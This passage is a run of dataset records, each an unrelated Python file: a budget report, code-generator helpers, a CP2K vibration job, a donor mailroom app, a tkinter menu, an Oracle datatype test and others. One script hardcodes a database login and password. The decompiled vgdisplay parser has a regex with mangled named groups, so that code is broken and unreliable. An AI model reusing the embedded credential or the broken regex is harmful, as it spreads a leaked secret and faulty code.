str(greatest_decrease) + \")\")\n\n\nwith open(file_output, 'w') as file:\n file.write(\"Financial Analysis\\n\")\n file.write(\"---------------------\\n\")\n file.write(\"Total Months: %d\\n\" % total_months)\n file.write(\"Total Amount: $%d\\n\" % total_revenue)\n file.write(\"Average Change $%d\\n\" % average_changes)\n file.write(\"Greatest Increase in Profits: %s ($%s)\\n\" % (greatest_increase_date, greatest_increase))\n file.write(\"Greatest Decrease in Profits: %s ($%s)\\n\" % (greatest_decrease_date, greatest_decrease))\n\n\n \n\n\n \n \n\n\n \n","sub_path":"PyBank /PyBank/PyBank.py","file_name":"PyBank.py","file_ext":"py","file_size_in_byte":2337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"566727056","text":"# Copyright (C) 2018-present prototyped.cn. All rights reserved.\n# Distributed under the terms and conditions of the Apache License.\n# See accompanying files LICENSE.\n\nimport re\nimport taksi.descriptor.predef as predef\nimport taksi.descriptor.strutil as strutil\n\n\n# 根据'column_index'查找一个字段\ndef get_field_by_column_index(struct, column_idx):\n assert column_idx > 0\n idx = 0\n for field in struct[\"fields\"]:\n if field[\"column_index\"] == column_idx:\n return idx, field\n idx += 1\n print(struct['fields'])\n assert False, column_idx\n\n\n# 获取字段\ndef get_struct_keys(struct, keyname, keymapping):\n if keyname not in struct['options']:\n return []\n\n key_tuples = []\n column_keys = struct['options'][keyname].split(',')\n assert len(column_keys) > 0, struct['name']\n\n for column in column_keys:\n idx, field = get_field_by_column_index(struct, int(column))\n typename = keymapping(field['original_type_name'])\n name = field['name']\n key_tuples.append((typename, name))\n return key_tuples\n\n\n# 读取KV模式的字段\ndef get_struct_kv_fields(struct):\n rows = struct[\"data_rows\"]\n keycol = struct[\"options\"][predef.PredefKeyColumn]\n valcol = struct[\"options\"][predef.PredefValueColumn]\n typecol = int(struct['options'][predef.PredefValueTypeColumn])\n assert keycol > 0 and valcol > 0 and typecol > 0\n comment_idx = -1\n if predef.PredefCommentColumn in struct[\"options\"]:\n commentcol = int(struct[\"options\"][predef.PredefCommentColumn])\n assert commentcol > 0\n comment_field = {}\n comment_idx, comment_field = get_field_by_column_index(struct, commentcol)\n\n key_idx, key_field = get_field_by_column_index(struct, keycol)\n value_idx, value_field = get_field_by_column_index(struct, valcol)\n type_idx, type_field = get_field_by_column_index(struct, typecol)\n\n fields = []\n for i in range(len(rows)):\n # print(rows[i])\n name = rows[i][key_idx].strip()\n typename = rows[i][type_idx].strip()\n assert len(name) > 0, (rows[i], key_idx)\n comment = ''\n if comment_idx >= 0:\n comment = rows[i][comment_idx].strip()\n field = {\n 'name': name,\n 'camel_case_name': strutil.camel_case(name),\n 'type_name': typename,\n 'original_type_name': typename,\n 'comment': comment,\n }\n fields.append(field)\n\n return fields\n\n\n# KV模式读取\ndef setup_key_value_mode(struct):\n struct[\"options\"][predef.PredefParseKVMode] = False\n kvcolumns = struct[\"options\"].get(predef.PredefKeyValueColumn, \"\")\n if kvcolumns != \"\":\n kv = kvcolumns.split(\",\")\n assert len(kv) == 2\n struct[\"options\"][predef.PredefParseKVMode] = True\n struct[\"options\"][predef.PredefKeyColumn] = int(kv[0])\n struct[\"options\"][predef.PredefValueColumn] = int(kv[1])\n\n\n# 注释\ndef setup_comment(struct):\n comment = struct.get(\"comment\", \"\")\n if comment == \"\":\n comment = struct[\"options\"].get(predef.PredefClassComment, \"\")\n if comment != \"\":\n struct[\"comment\"] = comment\n\n\n# 获取生成数组字段的范围\ndef get_vec_field_range(struct, camel_case_name=False):\n auto_vector = struct[\"options\"].get(predef.OptionAutoVector, \"off\")\n if auto_vector == \"off\":\n return [], \"\"\n\n names = []\n field_type = None\n for field in struct[\"fields\"]:\n if field.get(\"is_vector\", False):\n if field_type is None:\n field_type = field[\"original_type_name\"]\n else:\n assert field_type == field[\"original_type_name\"]\n if camel_case_name:\n names.append(field[\"camel_case_name\"])\n else:\n names.append(field[\"name\"])\n\n if len(names) < 2:\n return [], \"\"\n\n name = strutil.common_prefix(names[0], names[1])\n assert len(name) > 0, struct[\"name\"]\n name = re.sub(\"[0-9]\", \"\", name) # remove number char\n return names, name\n\n\n#\ndef get_inner_class_range(struct):\n if predef.PredefInnerTypeRange not in struct[\"options\"]:\n return 0, 0, 0\n\n text = struct[\"options\"].get(predef.PredefInnerTypeRange, \"\")\n text = text.strip()\n if len(text) == 0:\n return 0, 0, 0\n\n numbers = [int(x) for x in text.split(',')]\n assert len(numbers) == 3\n\n fields = struct['fields']\n start = numbers[0] - 1\n assert start > 0, text\n end = numbers[1]\n if end < 0:\n end = len(fields)\n else:\n end += 1\n step = numbers[2]\n assert step >= 1, numbers\n\n assert (end - start) >= step, text\n assert (end - start) % step == 0, text\n\n return start, end, step\n\n\n# 内部嵌入的class\ndef get_inner_class_struct_fields(struct):\n if predef.PredefInnerTypeRange not in struct[\"options\"]:\n return []\n\n inner_class_type = struct[\"options\"][predef.PredefInnerTypeClass]\n assert len(inner_class_type) > 0\n inner_class_name = struct[\"options\"][predef.PredefInnerTypeName]\n assert len(inner_class_name) > 0\n\n start, end, step = get_inner_class_range(struct)\n fields = struct['fields']\n inner_fields = []\n for n in range(start, start + step):\n field = fields[n]\n new_field = {\n 'type': field['type'],\n 'type_name': field['type_name'],\n 'original_type_name': field['original_type_name'],\n 'comment': field['comment'],\n 'name': strutil.remove_suffix_number(field['name']),\n 'camel_case_name': strutil.remove_suffix_number(field['camel_case_name']),\n }\n inner_fields.append(new_field)\n\n return inner_fields\n\n\n# 所有嵌入类的字段\ndef get_inner_class_mapped_fields(struct, camel_case_name=False):\n if predef.PredefInnerTypeRange not in struct[\"options\"]:\n return [], []\n\n inner_class_type = struct[\"options\"][predef.PredefInnerTypeClass]\n assert len(inner_class_type) > 0\n inner_class_name = struct[\"options\"][predef.PredefInnerTypeName]\n assert len(inner_class_name) > 0\n\n field_names = []\n fields = []\n start, end, step = get_inner_class_range(struct)\n for n in range(start, end):\n field = struct['fields'][n]\n fields.append(field)\n if camel_case_name:\n field_names.append(field[\"camel_case_name\"])\n else:\n field_names.append(field[\"name\"])\n\n return field_names, fields\n","sub_path":"taksi/generator/genutil.py","file_name":"genutil.py","file_ext":"py","file_size_in_byte":6458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"560189278","text":"#!/usr/bin/env python\nfrom ase.db import connect\nfrom xcp2k import CP2K\nfrom ase.build import surface\nfrom ase.constraints import FixAtoms\nfrom ase import Atoms, Atom\nfrom ase.io import write, read\nfrom multiprocessing import Pool\nimport numpy as np\nfrom ase.optimize import BFGS\nfrom ase.vibrations import Vibrations\nimport os\n\ndef sortz(atoms):\n tags = atoms.positions[:,2]\n deco = sorted([(tag, i) for i, tag in enumerate(tags)])\n indices = [i for tag, i in deco]\n return atoms[indices]\n# read CONTCAR\njobs = {'top':None,\n 'bri':None,\n 'tri_a':None,\n 'tri_b':None}\nfor job in jobs:\n atoms = read('224/{0}/relax-{0}-pos-1.xyz'.format(job, job))\n atoms.cell = np.array([[11.218, 0.000, 0.000],\n [-5.609, 9.715, 0.000],\n [ 0.000, 0.000, 25.000]])\n atoms.pbc = [True, True, True]\n jobs[job] = sortz(atoms)\n\ndef run(job, atoms):\n kwargs = {'mode': 0,\n 'label': 'vib-{0}'.format(job, job),\n 'xc': 'PBE', \n\n 'scf_guess': 'atomic',\n 'max_scf': 500,\n 'EPS_SCF': 5.0E-7,\n 'added_mos': 500,\n\n 'sme/method': 'fermi_dirac',\n 'ELECTRONIC_TEMPERATURE': 300,\n \n 'DIA/ALGORITHM': 'STANDARD',\n\n 'mix/METHOD': 'BROYDEN_MIXING',\n 'ALPHA': 0.1,\n 'BETA': 1.5,\n 'NBUFFER': 8,\n\n 'cpu': 36,\n 'cutoff': 300,\n 'run_type': 'ENERGY_FORCE', # ENERGY_FORCE, GEO_OPT, CELL_OPT, MD\n 'atoms': atoms,\n }\n calc = CP2K(**kwargs)\n atoms.set_calculator(calc)\n vib = Vibrations(atoms, indices = [65, 69])\n vib.run()\n vib.summary()\n #print(\"{0} {1} {2} {3} \".format(job, e, f, f / (h * c)))\n\n#print(\"class energy (eV) vibrational energy vibrational freq\")\nfor job, atoms in jobs.items():\n print(\"-----------------------\")\n print(job)\n olddir = os.getcwd()\n newdir = '224/vib/{0}'.format(job)\n if not os.path.exists(newdir):\n os.makedirs(newdir) \n os.chdir(newdir)\n run(job, atoms)\n os.chdir(olddir)\n","sub_path":"xcp2k/surfaces/pt/224-co-vib.py","file_name":"224-co-vib.py","file_ext":"py","file_size_in_byte":2087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"505638492","text":"import pymysql\n\n# 创建链接\nconn = pymysql.connect(\"192.168.100.252\", \"paohe\", \"paohe!@#\", \"seed\")\n# 使用 cursor() 方法创建游标,用于执行sql语句并获得结果\ncursor = conn.cursor()\n\n# 使用 execute() 方法执行 SQL 查询\ncursor.execute(\"SELECT VERSION()\")\n\n# 使用 fetchone() 方法获取一条数据\ndata = cursor.fetchone()\n\nprint(\"Database version : \", data)\n\ntry:\n cursor.execute(\"select * from ad_news\")\n result = cursor.fetchall()\n for row in result:\n print(row[0],row[1],row[2],row[3],row[4],row[5],row[6],row[7],row[8],row[9],row[10],row[11],row[12],row[13],row[14],row[15],row[16],row[17])\nexcept:\n print(\"Error: unable to fecth data\")\n\n# 关闭连接\nconn.close()\n","sub_path":"mysqlDB/ConnectDB.py","file_name":"ConnectDB.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"65481492","text":"from datetime import datetime, timedelta\nimport hashlib\nimport csv\nimport sys\n\nimport click\nimport numpy as np\n\nfrom states import Rest, Profile, OrderState\n\n\ndef create_profile() -> Profile:\n return Profile(\n np.array([\n [.1, .4, .3, .2],\n [.3, .7, .0, .0],\n [.4, .0, .6, .0],\n [.5, .0, .0, .5],\n ])\n )\n\n\ndef generate_id(x: str) -> str:\n return hashlib.sha256(x.encode('utf-8')).hexdigest()\n\n\n@click.command()\n@click.option('--start', type=click.DateTime(), default='2020-07-01T00:00:00')\n@click.option('--end', type=click.DateTime(), default='2020-07-31T00:00:00')\n@click.option('--drivers', type=int, default=1000)\ndef main(start: datetime, end: datetime, drivers: int):\n assert (start < end)\n assert (drivers > 0)\n\n writer = csv.writer(sys.stdout)\n # writer.writerow(['driver_id', 'timestamp', 'state'])\n\n for x in range(drivers):\n\n driver_id = generate_id(str(x))\n profile = create_profile()\n\n state = profile.next_state()\n currt = start\n while currt < end:\n writer.writerow([currt, driver_id, state.name])\n currt += timedelta(minutes=1)\n state = state.next_state()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"drivers-generator/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"243847775","text":"import os\nimport pickle\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\n\n\ndef cached(f, threshold=100):\n def g(*args, **kwargs):\n if g.cache == {}:\n if os.path.isfile(dir_path + '/cache/%s.cch' % f.__name__):\n fd = open(dir_path + '/cache/%s.cch' % f.__name__, \"rb\")\n g.cache = pickle.load(fd)\n fd.close() \n if tuple(args) in g.cache:\n return g.cache[tuple(args)]\n res = f(*args, **kwargs)\n g.cache[tuple(args)] = res\n g.unsaved += 1\n if g.unsaved > threshold:\n fd = open(dir_path + '/cache/%s.cch' % f.__name__, \"wb\")\n pickle.dump(g.cache, fd)\n fd.close()\n g.unsaved = 0\n return res\n g.cache = {}\n g.unsaved = 0\n\n def force_dump():\n fd = open(dir_path + '/cache/%s.cch' % f.__name__, \"wb\")\n pickle.dump(g.cache, fd)\n fd.close()\n g.force_dump = force_dump\n\n def clear_cache(soft=False):\n g.cache = {}\n g.unsaved = 0\n if not soft:\n g.force_dump()\n g.clear_cache = clear_cache\n return g\n","sub_path":"misc.py","file_name":"misc.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"479610303","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/insights/parsers/vgdisplay.py\n# Compiled at: 2019-05-16 13:41:33\n\"\"\"\nVgDisplay - command ``vgdisplay``\n=================================\n\n\"\"\"\nfrom .. import parser, CommandParser\nimport re\nfrom insights.specs import Specs\n\n@parser(Specs.vgdisplay)\nclass VgDisplay(CommandParser):\n \"\"\"\n Parse the output of the ``vgdisplay -vv`` or ``vgdisplay`` commands.\n\n The ``vg_list`` property is the main access to the list of volume groups\n in the command output. Each volume group is stored as a dictionary of\n keys and values drawn from the property list of the volume group. The\n volume group's logical and physical volumes are stored in the 'Logical\n Volumes' and 'Physical Volumes' sub-keys, respectively.\n\n Sample command output of ``vgdisplay -vv`` (pruned for clarity)::\n\n Couldn't find device with uuid VVLmw8-e2AA-ECfW-wDPl-Vnaa-0wW1-utv7tV.\n\n --- Volume group ---\n VG Name RHEL7CSB\n System ID\n Format lvm2\n Metadata Areas 1\n Metadata Sequence No 13\n ...\n\n --- Logical volume ---\n LV Path /dev/RHEL7CSB/Root\n LV Name Root\n VG Name RHEL7CSB\n LV Size 29.30 GiB\n ...\n\n --- Physical volumes ---\n PV Name /dev/mapper/luks-96c66446-77fd-4431-9508-f6912bd84194\n PV UUID EfWV9V-03CX-E6zc-JkMw-yQae-wdzp-Je1KUn\n PV Status allocatable\n Total PE / Free PE 118466 / 4036\n\n Volume groups are kept in the ``vg_list`` property in the order they were\n found in the file.\n\n Lines containing 'Couldn't find device with uuid' and 'missing physical\n volume' are stored in a ``debug_info`` property.\n\n Examples:\n >>> vg_info = shared[VgDisplay]\n >>> len(vg_info.vg_list)\n 1\n >>> vgdata = vg_info.vg_list[0]\n >>> vgdata['VG Name']\n 'RHEL7CSB'\n >>> vgdata['VG Size']\n '462.76 GiB'\n >>> 'Logical Volumes' in vgdata\n True\n >>> lvs = vgdata['Logical Volumes']\n >>> type(lvs)\n dict\n >>> lvs.keys() # Note - keyed by device name\n ['/dev/RHEL7CSB/Root']\n >>> lvs['/dev/RHEL7CSB/Root']['LV Name']\n 'Root'\n >>> lvs['/dev/RHEL7CSB/Root']['LV Size']\n '29.30 GiB'\n >>> 'Physical Volumes' in vgdata\n True\n >>> vgdata['Physical Volumes'].keys()\n ['/dev/mapper/luks-96c66446-77fd-4431-9508-f6912bd84194']\n >>> vgdata['Physical Volumes']['/dev/mapper/luks-96c66446-77fd-4431-9508-f6912bd84194']['PV UUID']\n 'EfWV9V-03CX-E6zc-JkMw-yQae-wdzp-Je1KUn'\n >>> vg_info.debug_info\n [\"Couldn't find device with uuid VVLmw8-e2AA-ECfW-wDPl-Vnaa-0wW1-utv7tV.\"]\n \"\"\"\n _FILTER_INFO = [\n \"Couldn't find device with uuid\",\n 'physical volumes missing']\n\n def parse_content(self, content):\n self.vg_list = []\n self.debug_info = []\n header_re = re.compile('^(?PVG Name|LV Path|PV Name)\\\\s+(?P\\\\S.*)$')\n current_data_store = None\n value_start_column = 0\n in_keyval_section = False\n for line in content:\n line = line.strip()\n if any(debug in line for debug in self._FILTER_INFO):\n if line not in self.debug_info:\n self.debug_info.append(line)\n in_keyval_section = False\n match = header_re.match(line)\n if not in_keyval_section and match:\n in_keyval_section = True\n key, value = match.group('key', 'val')\n value_start_column = line.index(value)\n if key == 'VG Name':\n self.vg_list.append({'Logical Volumes': {}, 'Physical Volumes': {}, 'VG Name': value})\n current_data_store = self.vg_list[(-1)]\n elif key == 'LV Path':\n current_data_store = {key: value}\n self.vg_list[(-1)]['Logical Volumes'][value] = current_data_store\n else:\n current_data_store = {key: value}\n self.vg_list[(-1)]['Physical Volumes'][value] = current_data_store\n elif line == '':\n in_keyval_section = False\n elif in_keyval_section and len(line) > value_start_column:\n key = line[:value_start_column].strip()\n value = line[value_start_column:].strip()\n current_data_store[key] = value\n\n return","sub_path":"pycfiles/insights_core-3.0.163-py2.7/vgdisplay.py","file_name":"vgdisplay.py","file_ext":"py","file_size_in_byte":4755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"53505868","text":"from tkinter import *\r\nimport tkinter.messagebox as tmsg\r\n\r\nroot = Tk()\r\n\r\ndef myfunc():\r\n print(\" Executed \")\r\n\r\ndef help():\r\n print(\"I will help you\")\r\n tmsg.showinfo(\"Help\",\"I can help you with this\")\r\n\r\ndef rateus():\r\n print(\"Rate us\")\r\n value = tmsg.askquestion(\"Was your experience is good?\",\"You use this GUI...Was your experience is good?\")\r\n if value == \"yes\":\r\n msg = \"Rate us on appstore\"\r\n else:\r\n msg = \"Tell us what went wrong, we will contact you shortly !!!\"\r\n tmsg.showinfo(\"Experience\" , msg)\r\n\r\ndef open():\r\n ans = tmsg.askretrycancel(\"Ask\", \"Want to retry or cancel\")\r\n if ans:\r\n print(\"You will retry this again\")\r\n else:\r\n print(\" cancelling for you\")\r\n\r\nroot.geometry(\"544x344\")\r\nroot.title(\"Menu and submenu\")\r\n\r\nmainmenu = Menu(root)\r\n\r\nm1 = Menu(mainmenu , tearoff = 0)\r\n\r\nm1.add_command(label = \"New Project\",command = myfunc)\r\nm1.add_command(label = \"Save\",command = myfunc)\r\nm1.add_command(label = \"Save as\",command = myfunc)\r\nm1.add_separator()\r\nm1.add_command(label = \"Open\",command = myfunc)\r\nm1.add_command(label = \"Delete\",command = myfunc)\r\nroot.config(menu = mainmenu)\r\n\r\nmainmenu.add_cascade(label= \"File\", menu=m1)\r\n\r\nm2 = Menu(root,tearoff=0)\r\n\r\nm2.add_command(label=\"Copy\",command=myfunc)\r\nm2.add_command(label=\"Cut\",command=myfunc)\r\nm2.add_separator()\r\nm2.add_command(label=\"Paste\",command=myfunc)\r\nm2.add_command(label=\"Undo Copy\",command=myfunc)\r\nroot.config(menu = mainmenu)\r\n\r\nmainmenu.add_cascade(label = \"Edit\",menu = m2)\r\n\r\nm3 = Menu(root,tearoff=0)\r\nm3.add_command(label=\"Help\",command=help)\r\nm3.add_command(label=\"Rate us\",command=rateus)\r\nm3.add_command(label=\"Open\",command=open)\r\nmainmenu.add_cascade(label = \"Help\",menu = m3)\r\nroot.config(menu = mainmenu)\r\n\r\nroot.mainloop()","sub_path":"Notepad.py","file_name":"Notepad.py","file_ext":"py","file_size_in_byte":1789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"6402709","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport tempfile\n\n'''\nrevised mailroom app using dict switch and dict as a data structure (we used a list \nin the first version.\n\nAdded ability to create letters as text files, in a temp directory, in batch.\n\nAdded sorting abilities here. I originally missed this in the first mailroom assignment.\n\n'''\n\n\ndef populate_data():\n '''\n Populate dictionary with initial data\n '''\n\n # add_contribution(\"Daenerys Targaryen\", [100.00, 1000])\n add_contribution(\"Arya Stark\", [65.00, 45.92, 1004, 2008, 7777])\n add_contribution(\"Melisandre\", [19.00, 100000, 100000, 100000])\n add_contribution(\"Cersei Lannister\", [10.00])\n add_contribution(\"Daenerys Targaryen\", [400, 500, 700, 5555])\n add_contribution(\"Bran Stark\", [666])\n add_contribution(\"Bran Stark\", 777) # We even handle for floats instead\n # of lists, just in case\n # return donor_db\n\n\ndef show_donors():\n '''\n Write a report to screen of donors and information about how they've donated\n\n Return values in descending order from the sum of their historical contributions\n '''\n\n # Write header row\n row = \"Donor\", \"Total\", \"Gifts\", \"Average\"\n print(\"{:<25s}{:<20s}{:<10s}{:<13s}\".format(*row))\n # Write corresponding ===='s\n print(''.join((\"=\" * 24 + \" \", # donor\n \"=\" * 19 + \" \", # total\n \"=\" * 9 + \" \", # gifts\n \"=\" * 12))) # average\n\n # Get a sorted list of donors sorted by their contributions\n ordered_donors = sorted(donor_db, key=lambda k: sum(donor_db[k]), reverse=True)\n\n # Use our newly-sorted list of donors and print the report\n\n for name in ordered_donors:\n # alphabetical by keys. Write out rows: \"Donor\", \"Total\", \"Gifts\", \"Average\"\n donations = donor_db.get(name)\n row = name, sum(donations), len(donations), sum(donations)/len(donations)\n print(\"{:<25s}${:<19.2f}{:<10d}${:<13.2f}\".format(*row))\n\n\ndef list_donors():\n '''\n Write a numbered list for the purpose of selecting a donor\n '''\n # List current donors in the dictionary as '#. First Last'\n print(\"{:<4} {:<7}\".format(\"No.\", \"Name\"))\n print(\"{} {}\".format(\"=\" * 4, \"=\" * 7))\n for i, donor in enumerate(sorted(donor_db)):\n print(\"{:<4} {:<7}\". format(i + 1, donor))\n\n\ndef print_menu():\n '''\n Print a menu to the user's screen\n '''\n return ''.join((\n \"\\nMain Menu\",\n \"\\n======================\",\n \"\\n1. Send Thank You\",\n \"\\n2. Create a Report\",\n \"\\n3. Send letters to all donors\"\n \"\\n4. Quit\",\n \"\\n\\nEnter Selection (1-4) >>> \"\n ))\n\n\ndef record_contribution():\n '''\n Prompt user for new contribution for a new or existing donor. Return dictionary with any updates\n\n add_contribution() actually updates the dictionary, it's called from here.\n '''\n donor_name = \"\"\n amount = \"\"\n\n while donor_name == \"\" or donor_name == 'list':\n donor_name = input(\"Please enter donor full name or type 'list': \")\n if donor_name == 'list':\n list_donors()\n else:\n amount = float(input(\"Please enter donation amount: \"))\n else:\n if donor_db.get(donor_name):\n add_contribution(donor_name, amount) # Add the contribution\n print(format_email(donor_name, amount, sum(donor_db[donor_name]))) # print mail\n # to terminal\n else:\n response = str(input(\"Donor {} doesn't exist, add them (y/n)?:\".format(donor_name)))\n if response.lower() == 'y':\n add_contribution(donor_name, amount)\n print(format_email(donor_name, amount, sum(donor_db[donor_name])))\n\n\n\ndef format_email(donor, amount, total_contribution):\n '''\n Create a thank you email for a donor.\n '''\n\n mail_str = ''.join((\n \"Dear {},\\n\\n\",\n \"Thank you for your recent contribution of ${:.2f}.\\n\\n\",\n \"We appreciate your generosity in support of our mission.\\n\\n\",\n \"Thank you for your lifetime contributions of ${:.2f}.\\n\\n\"\n \"Warmest Regards,\\n\\n\",\n \"Charity Staff\\n\")).format(donor, amount, total_contribution)\n\n return mail_str\n\n\ndef add_contribution(donor, amount):\n '''\n After record_contribution() prompts user for input, add records to dictionary as needed.\n '''\n\n if donor_db.get(donor):\n if isinstance(donor_db[donor], list):\n if isinstance(amount, list):\n # ! changed the next two from .extend\n donor_db[donor].extend(amount) # when amount is a list\n else:\n donor_db[donor].extend([amount]) # in case we get passed a float for amount\n else:\n donor_db[donor].append(amount) # add new to dict\n # otherwise, add a single contribution with a new user\n else:\n if isinstance(amount, list):\n donor_db[donor] = amount\n else:\n donor_db[donor] = [amount]\n\n\n\ndef send_letter_to_all():\n '''\n Write text files containing letter contents for all donors in the database\n '''\n\n for key, value in donor_db.items():\n tempfilepath = tempfile.gettempdir() + \"/\" + str(key.replace(' ', \"_\")) + \".txt\"\n with open(tempfilepath, \"w\") as outputfile:\n print(\"writing letter and storing in: \" + tempfilepath)\n outputfile.writelines(format_email(key, value[len(value)-1], sum(donor_db[key])))\n\n\ndef switcher(arg):\n '''\n Use a switcher dictionary as a way to present a menu-driven interface for users\n '''\n\n # Use a dictionary as a switch statement!\n switcher = {\n 1: record_contribution,\n 2: show_donors,\n 3: send_letter_to_all,\n 4: exit,\n }\n func = switcher.get(arg, lambda: print(\"Invalid Entry\"))\n func()\n\n #if func == exit:\n # func()\n #else:\n # func(donor_db)\n\n\ndef main():\n '''\n main loop, continually present users with menu options\n '''\n\n while True:\n switcher(int(input(print_menu())))\n\n\nif __name__ == '__main__':\n # We're not getting imported, run main():\n donor_db = {} # dict that contains user/donation records\n populate_data()\n main()\n","sub_path":"students/jbutts/Lesson04/mailroom2.py","file_name":"mailroom2.py","file_ext":"py","file_size_in_byte":6215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"137105056","text":"num_1 = int(input('Primeiro número: '))\nnum_2 = int(input('Segundo número: '))\nnum_3 = int(input('Terceiro número: '))\n\n# Verificando quem é maior:\n\nmenor = num_1\n\nif num_2 < num_1 and num_2 < num_3:\n menor = num_2\n\nif num_3 < num_1 and num_3 < num_2:\n menor = num_3\n\n# Verificando quem é o menor:\n\nmaior = num_1\n\nif num_2 > num_1 and num_2 > num_3:\n maior = num_2\n\nif num_3 > num_1 and num_3 > num_2:\n maior = num_3\n\nprint('O maior valor é {} e o menor é {}!'.format(maior, menor))","sub_path":"mundo-1/condicoes/ex033.py","file_name":"ex033.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"330111293","text":"#=======================================================================\r\n# unsupported_types.py\r\n#\r\n# This script tests the Oracle types that are unsupported by Vigilert.\r\n#\r\n# Author: Tom Higgins\r\n# $Header: /Vigilert/Tests/Tom/Oracle/unsupported_types.py 2 11/05/01 2:01p Ryan $\r\n#=======================================================================\r\nfrom Tests.testapi import *\r\nfrom time import *\r\n\r\necho(\"\")\r\necho(\"Testing the unsupported datatypes in Oracle.\")\r\necho(\"\")\r\n\r\n#=======================================================\r\n# Each of these types should be totally unsupported\r\n# (create data source should fail on columns of this type)\r\n#\r\n# extended rowid is wonky, and apparently syntactically identical to rowid\r\n# (differences are Oracle-internal semantics).\r\n\r\n# create user defined type \"myType\"\r\nsql(\"create type myType as object (i int, j int)\")\r\n \r\n\r\nunsupported_oracle_types = [ \"clob\", \"nclob\", \"blob\", \"bfile\", \"long\", \"raw(20)\", \"long raw\", \" rowid\", \"urowid\",\r\n \"long varchar\", \"myType\", \"nchar(20)\", \"nvarchar2(13)\", \"national character(18)\",\r\n \"national char(23)\", \"national character varying(15)\", \"national char varying(8)\",\r\n \"nchar varying(7)\" ]\r\n\r\ndef check_unsupported (oracleType) :\r\n echo(\"\")\r\n echo(\"Testing data source creation on unsupported type \" + oracleType + \".\")\r\n sql(\"create table pure (uc \" + oracleType + \")\")\r\n sql(\"create table mixed (sc1 int, uc1 \" + oracleType + \", sc2 float)\")\r\n # try sourcing the whole tables\r\n tl(\"create data source pure\") # should fail\r\n tl(\"drop data source pure\")\r\n tl(\"create data source mixed\") # should fail\r\n tl(\"drop data source mixed\")\r\n\r\n # try sourcing individual columns \r\n tl(\"create data source mixed (sc1, sc2)\") # should succeed\r\n tl(\"drop data source mixed\")\r\n tl(\"create data source mixed (sc1, uc1)\") # should fail\r\n tl(\"drop data source mixed\") \r\n sql(\"drop table pure\")\r\n sql(\"drop table mixed\")\r\n \r\n \r\nfor badType in unsupported_oracle_types :\r\n check_unsupported(badType)\r\n\r\nsql(\"drop type myType\") # we're done with our user defined type\r\n\r\n# Test some positional edge cases with blobs\r\nsql(\"create table leftCase (uc1 blob, sc1 int, sc2 float)\");\r\nsql(\"create table rightCase (sc1 int, sc2 float, uc1 blob)\");\r\ntl(\"create data source leftCase\")\r\ntl(\"create data source rightCase\")\r\ntl(\"drop data source rightCase\")\r\ntl(\"drop data source leftCase\")\r\nsql(\"drop table rightCase\")\r\nsql(\"drop table leftCase\")\r\n\r\n#def check_unsupported_thorough (oracleType) :\r\n \r\n#=======================================================\r\n# Check the forbidden pseudocolumns rowid & rownum\r\n# \r\nsql(\"create table foo (int x, int y)\")\r\ntl(\"create data source foo (rowid)\")\r\ntl(\"drop data source foo\")\r\ntl(\"create data source foo (rownum)\")\r\ntl(\"drop data source foo\")\r\nsql(\"drop table foo\")\r\n\r\n##echo(\"\")\r\n##echo(\"Testing the partially supported datatypes in Oracle.\")\r\n##echo(\"\")\r\n\r\n##def check_semisupported (oracleType) :\r\n## echo(\"\")\r\n## echo(\"--------------------------------\")\r\n## echo(\"Testing create \" + oracleType + \" data source. \")\r\n## echo(\"--------------------------------\")\r\n## sql(\"create table foo (c1 \" + oracleType + \")\")\r\n## tl(\"create data source foo\")\r\n## tl(\"drop data source foo\")\r\n## sql(\"drop table foo\")\r\n\r\n###=======================================================\r\n### These are the unsupported* types (which have varying\r\n### degrees of support)\r\n##\r\n##semisupported_oracle_types = [ \r\n##\r\n##for type in semisupported_oracle_types :\r\n## check_unsupported(type)\r\n\r\n# Cleanup\r\ntl(\"drop all triggersets\")\r\n","sub_path":"Vigilert/Tests/Tom/Oracle/unsupported_types.py","file_name":"unsupported_types.py","file_ext":"py","file_size_in_byte":3708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"120906546","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\n\ndata = np.loadtxt(\"FP.dat\", delimiter=',')\nlamb = np.array(data[:, 0])\nCFP = np.array(data[:, 1])\nYFP = np.array(data[:, 2])\nGFP = np.array(data[:, 3])\n\nplt.figure()\nplt.plot(lamb, CFP, 'c', linewidth=2., label='CFP')\nplt.plot(lamb, YFP, linewidth=3., color='#F3F315', label='YFP')\nplt.plot(lamb, GFP, 'g', linewidth=2., label='GFP')\nplt.legend()\nplt.grid()\nplt.xlabel(\"Wavelength (in nm)\")\nplt.ylabel(\"Normalized absorption\")\nplt.show()","sub_path":"Cph8_discrete_levels/plot_FP.py","file_name":"plot_FP.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"589863391","text":"from .config import *\n\nimport mysql.connector as mysql\nimport re\n\nclass DB:\n\tdef __init__(self):\n\t\tpass\n\n\tdef __enter__(self):\n\t\tself.connection = mysql.connect(\n\t\t\tuser = 